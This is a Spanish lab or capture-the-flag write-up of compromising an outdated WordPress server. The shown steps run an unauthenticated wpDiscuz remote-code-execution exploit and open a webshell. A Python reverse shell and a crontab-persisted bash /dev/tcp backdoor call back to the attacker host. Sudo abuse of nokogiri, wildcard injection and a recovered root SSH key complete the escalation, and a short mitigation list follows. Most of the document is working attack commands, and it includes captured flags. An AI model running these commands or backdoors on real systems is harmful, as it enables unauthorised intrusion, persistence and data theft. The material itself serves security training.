Informe: Ataque a WordPress (laboratorio)

Generado automáticamente. Contenido provisto por el usuario (práctica de laboratorio).

Índice / Contenido:

Ataque a Wordpress desactualizado

Comandos y notas del laboratorio recopiladas por el usuario.

```
--- Recon y descubrimiento ---
wpscan --url http://192.168.1.33 --plugins-detection aggressive -t 50
```

```
--- Detección de plugin vulnerable ---
searchsploit wpDiscuz
```

Resultados relevantes de searchsploit: - Wordpress Plugin wpDiscuz 7.0.4 - Arbitrary File Upload (Unauthenticated) | php/webapps/49962.sh - WordPress Plugin wpDiscuz 7.0.4 - Remote Code Execution (Unauthenticated) | php/webapps/49967.py (utilizado) - Wordpress Plugin wpDiscuz 7.0.4 - Unauthenticated Arbitrary File Upload (Metasploit) | php/webapps/49401.rb

```
--- Uso del exploit ---
searchsploit -m 49967
python3 49967.py -u http://192.168.1.33 -p /2021/06/09/hello-world
```

```
El exploit genera una webshell y la sube a uploads:
URL de shell (ejemplo):
http://192.168.1.33/wp-content/uploads/2025/09/sdkhaeredyfcyhv-1758578263.6125.php?cmd=
pwd
```

```
--- Reverse shell ---
En Kali, escuchar:
nc -lvvp 4444
```

```
Activar reverse desde la webshell (ejemplo):
http://192.168.1.33/wp-content/uploads/...php?cmd=python3 -c 'import socket,subprocess,
os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.24",4444));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
```

--- Verificación de privilegios y sudo --- sudo -l

--- Escalada con Nokogiri (privilegios) --- Nota: Nokogiri es un parser XML/HTML en Ruby. En el laboratorio se aprovechó el binario con permisos sudo:

```
sudo -u beloved /usr/local/bin/nokogiri --help
sudo -u beloved /usr/local/bin/nokogiri /etc/hosts
www-data ALL=(beloved) NOPASSWD: /usr/local/bin/nokogiri
```

Acciones realizadas (documentadas): - Creación de backdoor en /home/beloved/.backdoor.sh y programación via crontab para persistencia. - Ejecución de comandos con sudo -u beloved ...

```
Comandos de ejemplo registrados:
/bin/bash -c "echo '#!/bin/bash' > /home/beloved/.backdoor.sh && echo 'bash -i >&
/dev/tcp/192.168.1.24/4444 0>&1' >> /home/beloved/.backdoor.sh && chmod +x
/home/beloved/.backdoor.sh && (crontab -l ; echo '*/2 * * * *
/home/beloved/.backdoor.sh') | crontab -"
```

```
--- Lectura de archivos sensibles ---
sudo -u beloved /usr/local/bin/nokogiri /etc/passwd
cat /home/beloved/user.txt
020588f87676a40236192c324c1a57fc
```

```
--- Uso de pspy64 para monitorización de procesos ---
En Kali (host atacante):
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
python3 -m http.server 8081
```

```
En máquina víctima (descarga y ejecución):
cd /tmp
wget http://192.168.1.24:8080/pspy64
chmod +x /tmp/pspy64
```

```
/tmp/pspy64
```

```
--- Explotación por Wildcard Injection ---
Pasos documentados por el usuario:
touch reference
touch -- --reference=reference
ln -s /etc/passwd passwd
ls -la /opt
# Observaciones: archivos con prefijos '--' y symlinks pueden inducir a utilidades a
interpretar argumentos como opciones.
```

--- Claves y acceso root --- id_rsa (clave privada encontrada en /opt) Se guardó el contenido en un archivo id_rsa en la máquina atacante y se usó para ssh -i id_rsa root@localhost Flag root (ejemplo): d585a3099ec825ec1c086b50ce8ff7d3

--- Notas de evidencia --- user.txt: 020588f87676a40236192c324c1a57fc root.txt: d585a3099ec825ec1c086b50ce8ff7d3

--- Medidas de mitigación y recomendaciones (administrador) --- - Mantener WordPress y plugins actualizados. Monitorear anuncios de seguridad para plugins instalados. - Restringir upload directories y validar tipos de archivos en el servidor web. - Restringir permisos: los procesos web no deberían tener permisos para escribir en directorios donde root ejecuta operaciones administrativas. - Evitar exponer claves privadas y asegurar su ubicación/permiso (chmod 600). - Evitar ejecutar comandos con globs en directorios donde usuarios sin privilegios pueden escribir. - Revisar crontabs, sudoers y binarios con permisos especiales. Auditar con herramientas de integridad (AIDE/Tripwire) y monitoreo (fail2ban).

--- Fin del documento ---

Notas: Este documento contiene pasos y resultados de una práctica de laboratorio. No debe usarse para actividades no autorizadas. Mantén copias seguras y aplica políticas de retención.